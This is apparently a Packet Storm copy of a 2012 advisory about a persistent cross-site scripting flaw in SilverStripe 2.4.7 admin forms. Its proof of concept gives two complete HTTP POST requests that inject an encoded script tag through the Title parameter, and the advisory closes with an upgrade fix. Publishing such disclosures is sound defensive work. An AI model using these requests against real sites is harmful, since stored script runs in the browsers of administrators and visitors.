exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SilverStripe 2.4.7 Cross Site Scripting

SilverStripe 2.4.7 Cross Site Scripting
Posted Oct 15, 2012
Authored by Aung Khant | Site yehg.net

SilverStripe versions 2.4.7 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 4c7550542451ea3abf2f5bb27ca540286eb9e545957e2347080191a57e3ab4d4

SilverStripe 2.4.7 Cross Site Scripting

Change Mirror Download
1. OVERVIEW

SilverStripe 2.4.7 and lower versions are vulnerable to Persistent
Cross Site Scripting.


2. BACKGROUND

SilverStripe CMS is easy for both developers and content authors to
work with. The SilverStripe Framework keeps the code tucked away
neatly so that it can be accessed easily by programmers but does not
get in the way of content authors.


3. VULNERABILITY DESCRIPTION

The "Title" parameter was not properly sanitized upon submission to
"/index.php/admin/security/EditForm/field/Roles/AddForm" and
"/index.php/admin/RootForm" urls, which allows attacker to conduct
Cross Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.


4. VERSIONS AFFECTED

Tested on 2.4.7


5. PROOF-OF-CONCEPT/EXPLOIT

////////////////////////////////////////
POST /index.php/admin/security/EditForm/field/Roles/AddForm?SecurityID=[ID]
HTTP/1.1
Host: localhost
Referer: http://localhost/index.php/admin/security/EditForm/field/Roles/add?SecurityID=[ID]
Cookie: PHPSESSID=1e4ea938f83b04bc826231987cedc050;
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

Title=%27%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&ctf%5BClassName%5D=PermissionRole&SecurityID=[ID]&action_saveComplexTableField=Save


POST /index.php/admin/RootForm HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.4.0_rc3
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://localhost/index.php/admin/
Content-Length: 256
Cookie: PHPSESSID=25c8f4060c398d05732fe494eb3ad4f1;
Pragma: no-cache
Cache-Control: no-cache

Title='%22%3E%3Cscript%3Ealert(%2Fxss1%2F)%3C%2Fscript%3E&Tagline=test&CanViewType=Anyone&ViewerGroups=&CanEditType=LoggedInUsers&EditorGroups=&CanCreateTopLevelType=LoggedInUsers&CreateTopLevelGroups=&SecurityID=[ID]&Theme=&ajax=0&action_save_siteconfig=1
////////////////////////////////////////


6. SOLUTION

Upgrade to the latest 3.x version.


7. VENDOR

SilverStripe Development Team
http://www.silverstripe.org/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-02-06: notified vendor
2012-10-15: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5BSilverStripe_2.4.7%5D_xss


#yehg [2012-10-15]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close